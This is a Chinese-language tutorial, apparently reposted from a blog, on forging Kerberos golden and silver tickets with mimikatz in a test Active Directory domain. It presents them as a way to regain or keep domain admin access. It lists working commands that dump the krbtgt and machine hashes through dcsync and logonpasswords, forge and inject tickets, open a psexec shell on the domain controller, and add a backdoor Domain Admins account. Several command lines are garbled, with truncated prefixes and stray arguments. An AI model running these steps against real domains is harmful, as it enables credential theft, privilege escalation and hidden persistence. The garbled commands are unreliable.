可以把kerberos认证流程简要的分为三个部分:
在域环境中进行权限维持,谈的比较多的便是票据,分为白银票据和黄金票据, 其原理都是基于Kerberos认证。黄金票据伪造的是域管下发给用户的TGT,而白银票据则是伪造的 ST。
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会返回给Client一个Logon Session Key(请求用户client的NTLM hash对Session-key as进行加密)和TGT。而Logon Session Key并不会保存在KDC中,krbtgt(Krbtgt是域控中管理发放票据的用户)的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了黄金金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
假设这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。
其中只有krbtgt的哈希需要域管理员权限才能获取,其他的普通域用户就能获取。所以只需获得krbtgt的哈希就能伪造黄金票据。
假设我们获取了win2012的域管理员权限并导出了域内所有的账户Hash,包括krbtgt账户,由于有些原因导致我们对域管权限丢失,但好在还有一个普通域用户权限就是win7这台机器,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们能利用该票据重新获得域管理员权限。
在yuwin2012域管理员上获取如下信息
1. 获取域名
2. 获取域sid
注意不要最后一个字段,S-1-5-21-587556175-550635965-2643831430(除了最后4位数不一样,前面的数字所有域用户都一样)
3. 获取krbtgt 的 NTLM Hash
在yuwin2012上执行(需域管理员权限才能导出krbtgt的哈希)
< "lsadump::dcsync /domain:test.lab /user:krbtgt" exit
收集以上信息为:
但是后面这台机器权限丢失了,由于我们收集了这些信息,我们可以在win7域普通机器上获得域管理员权限。
在win7上清空票据缓存("kerberos::purge"),生成票据并直接注入内存
mimikatz "kerberos::purge" "kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-587556175-550635965-2643831430 /krbtgt:6412c19ffa5a50cd63fe27917ef83f54 /ptt" exit
#或者先把tgt票据导出来,导出文件test.kiribi
mimikatz "kerberos::purge" "kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-2196907948-52438630-2517523304 /krbtgt:4c3526cd74a0de23b0e95bda3aceb4bc /ticket:test.kiribi" exit
#再将票据注入内存
mimikatz "kerberos::ptt test.kiribi" exit
此时可以访问域控了
查看注入的票据 klist。清除票据为:klist purge
可以直接用psexec反弹shell,因为注入了黄金票据,所以不需要用户名和密码
< \dc cmd -accepteula
添加域管理员
net user test admin@123 /add /domain 添加域用户
net group "domain admins" test /add /domain 加入域管理员组
net group "domain admins" /domain 查看域管理员
此如果当前机器重启票据就会丢失,我们只需重新将票据注入内存即可。如果域控重启但未修改krbtgt票据,不影响当前注入的票据
白银票据是伪造的ST。在Kerberos认证的第三步,Client带着ST和Session-key tgs加密的Client-info、timestamp作为一部分内容,总共两部分内容向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Server NTLM 解密ST,从而获得Session-key tgs 。通过Session-key tgs解析那一部分内容,进而验证对方的身份。验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的票据只对部分服务起作用。
1. 首先在域控中执行hostname查看机器名,然后执行如下获取域控机器名(机器名$)的hash值
< "privilege::debug" "sekurlsa::logonpasswords" exit
2. 获取域sid
3. 可利用的服务
因为伪造的是白银票据,没有TGT去不断申请ticket,所以只能针对某一些系统服务来进行伪造。
收集以上信息为:
为“ cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括c $共享,我们能够将文件拷贝到共享文件中。
使用mimikatz进行票据生成并注入内存
mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-2196907948-52438630-2517523304 /st.lab /service:cifs /rc4:928aed96faa72877a37011def782177f /user:gu /ptt" exit
成功访问域控c盘目录
ps: 伪造cifs服务票据只能访问到目录内容,而不能像黄金票据一样可以用psexec这样的工具进行连接
为ldap服务伪造票据并注入内存,只需将/service修改为ldap即可
mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-2196907948-52438630-2517523304 /st.lab /service:ldap /rc4:928aed96faa72877a37011def782177f /user:gu /ptt" exit
即可导出用户hash
#导出krbtgt hash
mimikatz "lsadump::dcsync /st.lab /domain:test.lab /user:krbtgt"
#导出administrator hash
本文发布于:2024-02-04 10:27:00,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170705071354749.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |